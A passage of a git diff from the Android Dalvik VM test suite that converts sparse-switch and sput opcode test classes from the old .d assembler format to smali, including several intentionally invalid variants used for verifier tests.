+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_14;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto :goto_1
+
+    :goto_1
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_8
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_c
+    const p1, 0x14
+
+    return p1
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_8
+        0xa -> :sswitch_c
+        0xf -> :sswitch_c
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.d
deleted file mode 100644
index 0f8b90b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.d
+++ /dev/null
@@ -1,50 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_2.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-Label3:
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.smali
new file mode 100644
index 0000000..8fc6e23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_2.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_2;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(F)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.d
deleted file mode 100644
index ce82bc9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_3.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-Label3:
-       sparse-switch v5
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.smali
new file mode 100644
index 0000000..913ebf1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_3.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_3;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p2, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.d
deleted file mode 100644
index 36f8c8b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_4.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 5
-
-Label3:
-       sparse-switch v3
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.smali
new file mode 100644
index 0000000..b1a4daa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_4.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_4;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p2, -0x1
+
+    return p2
+
+    :sswitch_7
+    const p2, 0x2
+
+    return p2
+
+    :sswitch_b
+    const p2, 0x14
+
+    return p2
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.d
deleted file mode 100644
index dc72c30..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_5.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 5
-
-Label3:
-       sparse-switch v3
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.smali
new file mode 100644
index 0000000..c43b14a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_5.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_5;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p2, -0x1
+
+    return p2
+
+    :sswitch_7
+    const p2, 0x2
+
+    return p2
+
+    :sswitch_b
+    const p2, 0x14
+
+    return p2
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.d
deleted file mode 100644
index 25e418f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_6.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-Label3:
-       sparse-switch v3
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.smali
new file mode 100644
index 0000000..1457496
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_6.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_6;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p0, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.d
deleted file mode 100644
index 67f3328..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_7.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.smali
new file mode 100644
index 0000000..838a303
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_7.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_7;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.d
deleted file mode 100644
index ba0dae3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_8.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.smali
new file mode 100644
index 0000000..41a0e10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_8.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_8;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.d
deleted file mode 100644
index 2566813..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sparse_switch_9.java
-.class public dot.junit.opcodes.sparse_switch.d.T_sparse_switch_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       sparse-switch v4
-            -1 : Label9
-            10 : Label12
-            15 : Label12
-        sparse-switch-end
-Label6:
-       const v4, -1
-       return v4
-
-Label9:
-       const v4, 2
-       return v4
-
-Label12:
-       const v4, 20
-       return v4
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.smali
new file mode 100644
index 0000000..04f9f61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sparse_switch/d/T_sparse_switch_9.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sparse_switch/d/T_sparse_switch_9;
+.super Ljava/lang/Object;
+.source "T_sparse_switch_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    sparse-switch p1, :sswitch_data_10
+
+    const p1, -0x1
+
+    return p1
+
+    :sswitch_7
+    const p1, 0x2
+
+    return p1
+
+    :sswitch_b
+    const p1, 0x14
+
+    return p1
+
+    nop
+
+    :sswitch_data_10
+    .sparse-switch
+        -0x1 -> :sswitch_7
+        0xa -> :sswitch_b
+        0xf -> :sswitch_b
+    .end sparse-switch
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.d
deleted file mode 100644
index 748fd1c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_1.java
-.class public dot.junit.opcodes.sput.d.T_sput_1
-.super java/lang/Object
-
-.field public static st_i1 I
-.field protected static st_p1 I
-.field private static st_pvt1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()I
-.limit regs 2
-
-       sget v0, dot.junit.opcodes.sput.d.T_sput_1.st_pvt1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_1.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali
new file mode 100644
index 0000000..1b4feaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_1.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+.field protected static st_p1:I
+.field private static st_pvt1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()I
+.registers 2
+
+       sget v0, Ldot/junit/opcodes/sput/d/T_sput_1;->st_pvt1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.d
deleted file mode 100644
index d753fd4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_10.java
-.class public dot.junit.opcodes.sput.d.T_sput_10
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_10.st_i1N I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali
new file mode 100644
index 0000000..c3f5b2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
